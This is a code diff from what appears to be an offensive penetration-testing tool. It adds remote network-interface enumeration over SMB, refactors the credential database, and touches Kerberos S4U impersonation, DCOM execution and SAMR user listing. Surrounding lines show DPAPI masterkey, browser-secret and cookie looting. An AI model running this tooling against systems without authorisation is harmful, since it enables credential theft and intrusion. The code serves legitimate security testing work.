interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}"
|
||||
interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"]
|
||||
|
||||
# Retrieve Interace Name
|
||||
interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection"
|
||||
interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"]
|
||||
interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00")
|
||||
interface["Name"] = str(interface_name)
|
||||
if "Kernel" in interface_name:
|
||||
continue
|
||||
|
||||
# Retrieve DHCP
|
||||
try:
|
||||
dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1]
|
||||
except DCERPCException:
|
||||
dhcp_enabled = False
|
||||
interface["DHCP"] = bool(dhcp_enabled)
|
||||
|
||||
# Retrieve IPAddress
|
||||
try:
|
||||
ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
ip_address = None
|
||||
interface["IPAddress"] = ip_address if ip_address else None
|
||||
|
||||
# Retrieve SubnetMask
|
||||
try:
|
||||
subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
subnetmask = None
|
||||
interface["SubnetMask"] = subnetmask if subnetmask else None
|
||||
|
||||
# Retrieve DefaultGateway
|
||||
try:
|
||||
default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
default_gateway = None
|
||||
interface["DefaultGateway"] = default_gateway if default_gateway else None
|
||||
|
||||
self.logger.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}")
|
||||
|
||||
except DCERPCException as e:
|
||||
self.logger.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}")
|
||||
|
||||
with contextlib.suppress(Exception):
|
||||
remoteOps.finish()
|
||||
except DCERPCException as e:
|
||||
self.logger.error(f"Failed to connect to the target: {e!s}")
|
||||
|
||||
def get_dc_ips(self):
|
||||
dc_ips = [dc[1] for dc in self.db.get_domain_controllers(domain=self.domain)]
|
||||
if not dc_ips:
|
||||
@@ -1302,7 +1472,7 @@ class smb(connection):
|
||||
self.logger.success(f"Created file {src} on \\\\{self.args.share}\\{dst}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error writing file to share {self.args.share}: {e}")
|
||||
|
||||
|
||||
def put_file(self):
|
||||
for src, dest in self.args.put_file:
|
||||
self.put_file_single(src, dest)
|
||||
@@ -1325,7 +1495,6 @@ class smb(connection):
|
||||
for src, dest in self.args.get_file:
|
||||
self.get_file_single(src, dest)
|
||||
|
||||
|
||||
def enable_remoteops(self):
|
||||
try:
|
||||
self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
|
||||
@@ -1408,7 +1577,7 @@ class smb(connection):
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Could not upgrade connection: {e}")
|
||||
return
|
||||
|
||||
|
||||
try:
|
||||
self.logger.display("Collecting Machine masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
@@ -1423,7 +1592,7 @@ class smb(connection):
|
||||
if len(masterkeys) == 0:
|
||||
self.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
|
||||
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}")
|
||||
try:
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
@@ -1613,7 +1782,6 @@ class smb(connection):
|
||||
"Google Refresh Token",
|
||||
)
|
||||
|
||||
|
||||
if dump_cookies and cookies:
|
||||
self.logger.display("Start Dumping Cookies")
|
||||
for cookie in cookies:
|
||||
@@ -1801,4 +1969,4 @@ class smb(connection):
|
||||
NTDS.finish()
|
||||
|
||||
def mark_guest(self):
|
||||
return highlight(f"{highlight('(Guest)')}" if self.is_guest else "")
|
||||
return highlight(f"{highlight('(Guest)')}" if self.is_guest else "")
|
||||
@@ -1,27 +1,25 @@
|
||||
import base64
|
||||
import sys
|
||||
import warnings
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from sqlalchemy import MetaData, func, Table, select, delete
|
||||
from sqlalchemy import func, Table, select, delete
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
from sqlalchemy.exc import SAWarning
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
|
||||
from nxc.database import BaseDB
|
||||
from nxc.logger import nxc_logger
|
||||
import sys
|
||||
from typing import Optional
|
||||
|
||||
# if there is an issue with SQLAlchemy and a connection cannot be cleaned up properly it spews out annoying warnings
|
||||
warnings.filterwarnings("ignore", category=SAWarning)
|
||||
|
||||
|
||||
class database:
|
||||
class database(BaseDB):
|
||||
def __init__(self, db_engine):
|
||||
self.HostsTable = None
|
||||
self.UsersTable = None
|
||||
@@ -35,16 +33,7 @@ class database:
|
||||
self.DpapiBackupkey = None
|
||||
self.DpapiSecrets = None
|
||||
|
||||
self.db_engine = db_engine
|
||||
self.db_path = self.db_engine.url.database
|
||||
self.protocol = Path(self.db_path).stem.upper()
|
||||
self.metadata = MetaData()
|
||||
self.reflect_tables()
|
||||
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
|
||||
|
||||
Session = scoped_session(session_factory)
|
||||
# this is still named "conn" when it is the session object; TODO: rename
|
||||
self.conn = Session()
|
||||
super().__init__(db_engine)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
@@ -199,19 +188,6 @@ class database:
|
||||
)
|
||||
sys.exit()
|
||||
|
||||
def shutdown_db(self):
|
||||
try:
|
||||
self.conn.close()
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
for table in self.metadata.sorted_tables:
|
||||
self.conn.execute(table.delete())
|
||||
|
||||
# pull/545
|
||||
def add_host(
|
||||
self,
|
||||
@@ -231,7 +207,7 @@ class database:
|
||||
updated_ids = []
|
||||
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# create new host
|
||||
if not results:
|
||||
@@ -284,7 +260,7 @@ class database:
|
||||
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
|
||||
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
|
||||
|
||||
self.conn.execute(q, hosts) # .scalar()
|
||||
self.db_execute(q, hosts) # .scalar()
|
||||
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
|
||||
if updated_ids:
|
||||
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
|
||||
@@ -304,7 +280,7 @@ class database:
|
||||
func.lower(self.UsersTable.c.username) == func.lower(username),
|
||||
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
|
||||
)
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# add new credential
|
||||
if not results:
|
||||
@@ -346,12 +322,12 @@ class database:
|
||||
q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users)
|
||||
nxc_logger.debug(f"Adding credentials: {credentials}")
|
||||
|
||||
self.conn.execute(q_users, credentials) # .scalar()
|
||||
self.db_execute(q_users, credentials) # .scalar()
|
||||
|
||||
if groups:
|
||||
q_groups = Insert(self.GroupRelationsTable)
|
||||
|
||||
self.conn.execute(q_groups, groups)
|
||||
self.db_execute(q_groups, groups)
|
||||
|
||||
def remove_credentials(self, creds_id):
|
||||
"""Removes a credential ID from the database"""
|
||||
@@ -359,14 +335,18 @@ class database:
|
||||
for cred_id in creds_id:
|
||||
q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id)
|
||||
del_hosts.append(q)
|
||||
self.conn.execute(q)
|
||||
self.db_execute(q)
|
||||
|
||||
def add_admin_user(self, credtype, domain, username, password, host, user_id=None):
|
||||
add_links = []
|
||||
|
||||
creds_q = select(self.UsersTable)
|
||||
creds_q = creds_q.filter(self.UsersTable.c.id == user_id) if user_id else creds_q.filter(func.lower(self.UsersTable.c.credtype) == func.lower(credtype), func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), self.UsersTable.c.password == password)
|
||||
users = self.conn.execute(creds_q)
|
||||
creds_q = creds_q.filter(self.UsersTable.c.id == user_id) if user_id else creds_q.filter(
|
||||
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
|
||||
func.lower(self.UsersTable.c.domain) == func.lower(domain),
|
||||
func.lower(self.UsersTable.c.username) == func.lower(username),
|
||||
self.UsersTable.c.password == password)
|
||||
users = self.db_execute(creds_q)
|
||||
hosts = self.get_hosts(host)
|
||||
|
||||
if users and hosts:
|
||||
@@ -378,7 +358,7 @@ class database:
|
||||
self.AdminRelationsTable.c.userid == user_id,
|
||||
self.AdminRelationsTable.c.hostid == host_id,
|
||||
)
|
||||
links = self.conn.execute(admin_relations_select).all()
|
||||
links = self.db_execute(admin_relations_select).all()
|
||||
|
||||
if not links:
|
||||
add_links.append(link)
|
||||
@@ -386,7 +366,7 @@ class database:
|
||||
admin_relations_insert = Insert(self.AdminRelationsTable)
|
||||
|
||||
if add_links:
|
||||
self.conn.execute(admin_relations_insert, add_links)
|
||||
self.db_execute(admin_relations_insert, add_links)
|
||||
|
||||
def get_admin_relations(self, user_id=None, host_id=None):
|
||||
if user_id:
|
||||
@@ -396,7 +376,7 @@ class database:
|
||||
else:
|
||||
q = select(self.AdminRelationsTable)
|
||||
|
||||
return self.conn.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def remove_admin_relation(self, user_ids=None, host_ids=None):
|
||||
q = delete(self.AdminRelationsTable)
|
||||
@@ -406,7 +386,7 @@ class database:
|
||||
elif host_ids:
|
||||
for host_id in host_ids:
|
||||
q = q.filter(self.AdminRelationsTable.c.hostid == host_id)
|
||||
self.conn.execute(q)
|
||||
self.db_execute(q)
|
||||
|
||||
def is_credential_valid(self, credential_id):
|
||||
"""Check if this credential ID is valid."""
|
||||
@@ -414,7 +394,7 @@ class database:
|
||||
self.UsersTable.c.id == credential_id,
|
||||
self.UsersTable.c.password is not None,
|
||||
)
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_credentials(self, filter_term=None, cred_type=None):
|
||||
@@ -432,7 +412,7 @@ class database:
|
||||
else:
|
||||
q = select(self.UsersTable)
|
||||
|
||||
return self.conn.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credential(self, cred_type, domain, username, password):
|
||||
q = select(self.UsersTable).filter(
|
||||
@@ -441,22 +421,22 @@ class database:
|
||||
self.UsersTable.c.password == password,
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
)
|
||||
results = self.conn.execute(q).first()
|
||||
results = self.db_execute(q).first()
|
||||
return results.id
|
||||
|
||||
def is_credential_local(self, credential_id):
|
||||
q = select(self.UsersTable.c.domain).filter(self.UsersTable.c.id == credential_id)
|
||||
user_domain = self.conn.execute(q).all()
|
||||
user_domain = self.db_execute(q).all()
|
||||
|
||||
if user_domain:
|
||||
q = select(self.HostsTable).filter(func.lower(self.HostsTable.c.id) == func.lower(user_domain))
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def is_host_valid(self, host_id):
|
||||
"""Check if this host ID is valid."""
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_hosts(self, filter_term=None, domain=None):
|
||||
@@ -466,7 +446,7 @@ class database:
|
||||
# if we're returning a single host by ID
|
||||
if self.is_host_valid(filter_term):
|
||||
q = q.filter(self.HostsTable.c.id == filter_term)
|
||||
results = self.conn.execute(q).first()
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
# if we're filtering by domain controllers
|
||||
@@ -491,14 +471,14 @@ class database:
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = q.filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term))
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
nxc_logger.debug(f"smb hosts() - results: {results}")
|
||||
return results
|
||||
|
||||
def is_group_valid(self, group_id):
|
||||
"""Check if this group ID is valid."""
|
||||
q = select(self.GroupsTable).filter(self.GroupsTable.c.id == group_id)
|
||||
results = self.conn.execute(q).first()
|
||||
results = self.db_execute(q).first()
|
||||
|
||||
valid = bool(results)
|
||||
nxc_logger.debug(f"is_group_valid(groupID={group_id}) => {valid}")
|
||||
@@ -530,7 +510,7 @@ class database:
|
||||
# insert the group and get the returned id right away, this can be refactored when we can use RETURNING
|
||||
q = Insert(self.GroupsTable)
|
||||
|
||||
self.conn.execute(q, groups)
|
||||
self.db_execute(q, groups)
|
||||
new_group_data = self.get_groups(group_name=group_data["name"], group_domain=group_data["domain"])
|
||||
returned_id = [new_group_data[0].id]
|
||||
nxc_logger.debug(f"Inserted group with ID: {returned_id[0]}")
|
||||
@@ -561,7 +541,7 @@ class database:
|
||||
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
|
||||
q = q.on_conflict_do_update(index_elements=self.GroupsTable.primary_key, set_=update_columns)
|
||||
|
||||
self.conn.execute(q, groups)
|
||||
self.db_execute(q, groups)
|
||||
# TODO: always return a list and fix code references to not expect a single integer
|
||||
#
|
||||
if updated_ids:
|
||||
@@ -572,7 +552,7 @@ class database:
|
||||
"""Return groups from the database"""
|
||||
if filter_term and self.is_group_valid(filter_term):
|
||||
q = select(self.GroupsTable).filter(self.GroupsTable.c.id == filter_term)
|
||||
results = self.conn.execute(q).first()
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif group_name and group_domain:
|
||||
@@ -586,7 +566,7 @@ class database:
|
||||
else:
|
||||
q = select(self.GroupsTable).filter()
|
||||
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_groups(filter_term={filter_term}, groupName={group_name}, groupDomain={group_domain}) => {results}")
|
||||
return results
|
||||
@@ -602,7 +582,7 @@ class database:
|
||||
elif group_id:
|
||||
q = select(self.GroupRelationsTable).filter(self.GroupRelationsTable.c.groupid == group_id)
|
||||
|
||||
return self.conn.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def remove_group_relations(self, user_id=None, group_id=None):
|
||||
q = delete(self.GroupRelationsTable)
|
||||
@@ -610,12 +590,12 @@ class database:
|
||||
q = q.filter(self.GroupRelationsTable.c.userid == user_id)
|
||||
elif group_id:
|
||||
q = q.filter(self.GroupRelationsTable.c.groupid == group_id)
|
||||
self.conn.execute(q)
|
||||
self.db_execute(q)
|
||||
|
||||
def is_user_valid(self, user_id):
|
||||
"""Check if this User ID is valid."""
|
||||
q = select(self.UsersTable).filter(self.UsersTable.c.id == user_id)
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_users(self, filter_term=None):
|
||||
@@ -627,14 +607,14 @@ class database:
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = q.filter(func.lower(self.UsersTable.c.username).like(like_term))
|
||||
return self.conn.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_user(self, domain, username):
|
||||
q = select(self.UsersTable).filter(
|
||||
func.lower(self.UsersTable.c.domain) == func.lower(domain),
|
||||
func.lower(self.UsersTable.c.username) == func.lower(username),
|
||||
)
|
||||
return self.conn.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_domain_controllers(self, domain=None):
|
||||
return self.get_hosts(filter_term="dc", domain=domain)
|
||||
@@ -642,7 +622,7 @@ class database:
|
||||
def is_share_valid(self, share_id):
|
||||
"""Check if this share ID is valid."""
|
||||
q = select(self.SharesTable).filter(self.SharesTable.c.id == share_id)
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"is_share_valid(shareID={share_id}) => {len(results) > 0}")
|
||||
return len(results) > 0
|
||||
@@ -656,7 +636,7 @@ class database:
|
||||
"read": read,
|
||||
"write": write,
|
||||
}
|
||||
self.conn.execute(
|
||||
self.db_execute(
|
||||
Insert(self.SharesTable).on_conflict_do_nothing(), # .returning(self.SharesTable.c.id),
|
||||
share_data,
|
||||
) # .scalar_one()
|
||||
@@ -669,7 +649,7 @@ class database:
|
||||
q = select(self.SharesTable).filter(self.SharesTable.c.name.like(like_term))
|
||||
else:
|
||||
q = select(self.SharesTable)
|
||||
return self.conn.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_shares_by_access(self, permissions, share_id=None):
|
||||
permissions = permissions.lower()
|
||||
@@ -680,17 +660,17 @@ class database:
|
||||
q = q.filter(self.SharesTable.c.read == 1)
|
||||
if "w" in permissions:
|
||||
q = q.filter(self.SharesTable.c.write == 1)
|
||||
return self.conn.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_users_with_share_access(self, host_id, share_name, permissions):
|
||||
permissions = permissions.lower()
|
||||
q = select(self.SharesTable.c.userid).filter(self.SharesTable.c.name == share_name, self.SharesTable.c.hostid == host_id)
|
||||
q = select(self.SharesTable.c.userid).filter(self.SharesTable.c.name == share_name,
|
||||
self.SharesTable.c.hostid == host_id)
|
||||
if "r" in permissions:
|
||||
q = q.filter(self.SharesTable.c.read == 1)
|
||||
if "w" in permissions:
|
||||
q = q.filter(self.SharesTable.c.write == 1)
|
||||
return self.conn.execute(q).all()
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def add_domain_backupkey(self, domain: str, pvk: bytes):
|
||||
"""
|
||||
@@ -699,7 +679,7 @@ class database:
|
||||
:pvk is the domain backupkey
|
||||
"""
|
||||
q = select(self.DpapiBackupkey).filter(func.lower(self.DpapiBackupkey.c.domain) == func.lower(domain))
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
if not len(results):
|
||||
pvk_encoded = base64.b64encode(pvk)
|
||||
@@ -708,7 +688,7 @@ class database:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.DpapiBackupkey) # .returning(self.DpapiBackupkey.c.id)
|
||||
|
||||
self.conn.execute(q, [backup_key]) # .scalar()
|
||||
self.db_execute(q, [backup_key]) # .scalar()
|
||||
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
|
||||
@@ -721,7 +701,7 @@ class database:
|
||||
q = select(self.DpapiBackupkey)
|
||||
if domain is not None:
|
||||
q = q.filter(func.lower(self.DpapiBackupkey.c.domain) == func.lower(domain))
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
|
||||
|
||||
@@ -735,7 +715,7 @@ class database:
|
||||
:dpapi_secret_id is a primary id
|
||||
"""
|
||||
q = select(self.DpapiSecrets).filter(func.lower(self.DpapiSecrets.c.id) == dpapi_secret_id)
|
||||
results = self.conn.execute(q).first()
|
||||
results = self.db_execute(q).first()
|
||||
valid = results is not None
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}")
|
||||
return valid
|
||||
@@ -760,10 +740,10 @@ class database:
|
||||
}
|
||||
q = Insert(self.DpapiSecrets).on_conflict_do_nothing() # .returning(self.DpapiSecrets.c.id)
|
||||
|
||||
self.conn.execute(q, [secret]) # .scalar()
|
||||
self.db_execute(q, [secret]) # .scalar()
|
||||
|
||||
|
||||
nxc_logger.debug(f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
|
||||
nxc_logger.debug(
|
||||
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
|
||||
|
||||
def get_dpapi_secrets(
|
||||
self,
|
||||
@@ -779,12 +759,12 @@ class database:
|
||||
|
||||
if self.is_dpapi_secret_valid(filter_term):
|
||||
q = q.filter(self.DpapiSecrets.c.id == filter_term)
|
||||
results = self.conn.execute(q).first()
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif host:
|
||||
q = q.filter(self.DpapiSecrets.c.host == host)
|
||||
results = self.conn.execute(q).first()
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif dpapi_type:
|
||||
@@ -797,7 +777,7 @@ class database:
|
||||
q = q.filter(func.lower(self.DpapiSecrets.c.windows_user).like(like_term))
|
||||
elif url:
|
||||
q = q.filter(func.lower(self.DpapiSecrets.c.url) == func.lower(url))
|
||||
results = self.conn.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
|
||||
return results
|
||||
@@ -807,7 +787,7 @@ class database:
|
||||
self.LoggedinRelationsTable.c.userid == user_id,
|
||||
self.LoggedinRelationsTable.c.hostid == host_id,
|
||||
)
|
||||
results = self.conn.execute(relation_query).all()
|
||||
results = self.db_execute(relation_query).all()
|
||||
|
||||
# only add one if one doesn't already exist
|
||||
if not results:
|
||||
@@ -817,7 +797,7 @@ class database:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
|
||||
|
||||
self.conn.execute(q, [relation]) # .scalar()
|
||||
self.db_execute(q, [relation]) # .scalar()
|
||||
inserted_id_results = self.get_loggedin_relations(user_id, host_id)
|
||||
nxc_logger.debug(f"Checking if relation was added: {inserted_id_results}")
|
||||
return inserted_id_results[0].id
|
||||
@@ -830,7 +810,7 @@ class database:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.userid == user_id)
|
||||
if host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
return self.conn.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def remove_loggedin_relations(self, user_id=None, host_id=None):
|
||||
q = delete(self.LoggedinRelationsTable)
|
||||
@@ -838,15 +818,15 @@ class database:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.userid == user_id)
|
||||
elif host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
self.conn.execute(q)
|
||||
self.db_execute(q)
|
||||
|
||||
def get_checks(self):
|
||||
q = select(self.ConfChecksTable)
|
||||
return self.conn.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_check_results(self):
|
||||
q = select(self.ConfChecksResultsTable)
|
||||
return self.conn.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def insert_data(self, table, select_results=None, **new_row):
|
||||
"""
|
||||
@@ -878,14 +858,14 @@ class database:
|
||||
q = Insert(table) # .returning(table.c.id)
|
||||
update_column = {col.name: col for col in q.excluded if col.name not in "id"}
|
||||
q = q.on_conflict_do_update(index_elements=table.primary_key, set_=update_column)
|
||||
self.conn.execute(q, results) # .scalar()
|
||||
self.db_execute(q, results) # .scalar()
|
||||
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
|
||||
return updated_ids
|
||||
|
||||
def add_check(self, name, description):
|
||||
"""Check if this check item has already been added to the database, if not, add it in."""
|
||||
q = select(self.ConfChecksTable).filter(self.ConfChecksTable.c.name == name)
|
||||
select_results = self.conn.execute(q).all()
|
||||
select_results = self.db_execute(q).all()
|
||||
context = locals()
|
||||
new_row = {column: context[column] for column in ("name", "description")}
|
||||
updated_ids = self.insert_data(self.ConfChecksTable, select_results, **new_row)
|
||||
@@ -897,7 +877,7 @@ class database:
|
||||
def add_check_result(self, host_id, check_id, secure, reasons):
|
||||
"""Check if this check result has already been added to the database, if not, add it in."""
|
||||
q = select(self.ConfChecksResultsTable).filter(self.ConfChecksResultsTable.c.host_id == host_id, self.ConfChecksResultsTable.c.check_id == check_id)
|
||||
select_results = self.conn.execute(q).all()
|
||||
select_results = self.db_execute(q).all()
|
||||
context = locals()
|
||||
new_row = {column: context[column] for column in ("host_id", "check_id", "secure", "reasons")}
|
||||
updated_ids = self.insert_data(self.ConfChecksResultsTable, select_results, **new_row)
|
||||
|
||||
@@ -88,7 +88,7 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash
|
||||
client_name = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
|
||||
s4u_byte_array = struct.pack("<I", constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
s4u_byte_array += b(impersonate) + b(domain) + b"Kerberos"
|
||||
s4u_byte_array += impersonate.encode() + b(domain) + b"Kerberos"
|
||||
|
||||
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
|
||||
# with the following three parameters: the session key of the TGT of
|
||||
|
||||
@@ -103,7 +103,8 @@ class MMCEXEC:
|
||||
)
|
||||
try:
|
||||
iInterface = self.__dcom.CoCreateInstanceEx(string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch)
|
||||
except Exception:
|
||||
except Exception as e:
|
||||
self.logger.info(f"Got Exception while connecting with DCOM: {e}")
|
||||
# Make it force break function
|
||||
self.__dcom.disconnect()
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
|
||||
|
||||
@@ -34,6 +34,7 @@ def proto_args(parser, parents):
|
||||
|
||||
mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
|
||||
mapping_enum_group.add_argument("--shares", action="store_true", help="enumerate shares and access")
|
||||
mapping_enum_group.add_argument("--interfaces", action="store_true", help="enumerate network interfaces")
|
||||
mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
|
||||
mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'")
|
||||
mapping_enum_group.add_argument("--sessions", action="store_true", help="enumerate active sessions")
|
||||
|
||||
@@ -133,12 +133,13 @@ class UserSamrDump:
|
||||
# set these for the while loop
|
||||
enumerationContext = enumerate_users_resp["EnumerationContext"]
|
||||
status = enumerate_users_resp["ErrorCode"]
|
||||
self.print_user_info(users, domain_name)
|
||||
self.logger.display(f"Enumerated {users:d} local users: {domain_name}")
|
||||
self.dce.disconnect()
|
||||
|
||||
def get_user_info(self, domain_handle, user_ids):
|
||||
self.logger.debug(f"Getting user info for users: {user_ids}")
|
||||
users = []
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
|
||||
users = 0
|
||||
|
||||
for user in user_ids:
|
||||
self.logger.debug(f"Calling hSamrOpenUser for RID {user}")
|
||||
@@ -161,19 +162,11 @@ class UserSamrDump:
|
||||
last_pw_set = old_large_int_to_datetime(user_info["PasswordLastSet"])
|
||||
if last_pw_set == "1601-01-01 00:00:00":
|
||||
last_pw_set = "<never>"
|
||||
users.append({"name": user_name, "description": user_description, "bad_pwd_count": bad_pwd_count, "last_pw_set": last_pw_set})
|
||||
|
||||
users += + 1
|
||||
self.logger.highlight(f"{user_name:<30}{last_pw_set:<20}{bad_pwd_count:<8}{user_description} ")
|
||||
samr.hSamrCloseHandle(self.dce, open_user_resp["UserHandle"])
|
||||
return users
|
||||
|
||||
def print_user_info(self, users, domain_name):
|
||||
self.logger.display(f"Enumerated {len(users):d} local users: {domain_name}")
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
|
||||
for user in users:
|
||||
self.logger.debug(f"Full user info: {user}")
|
||||
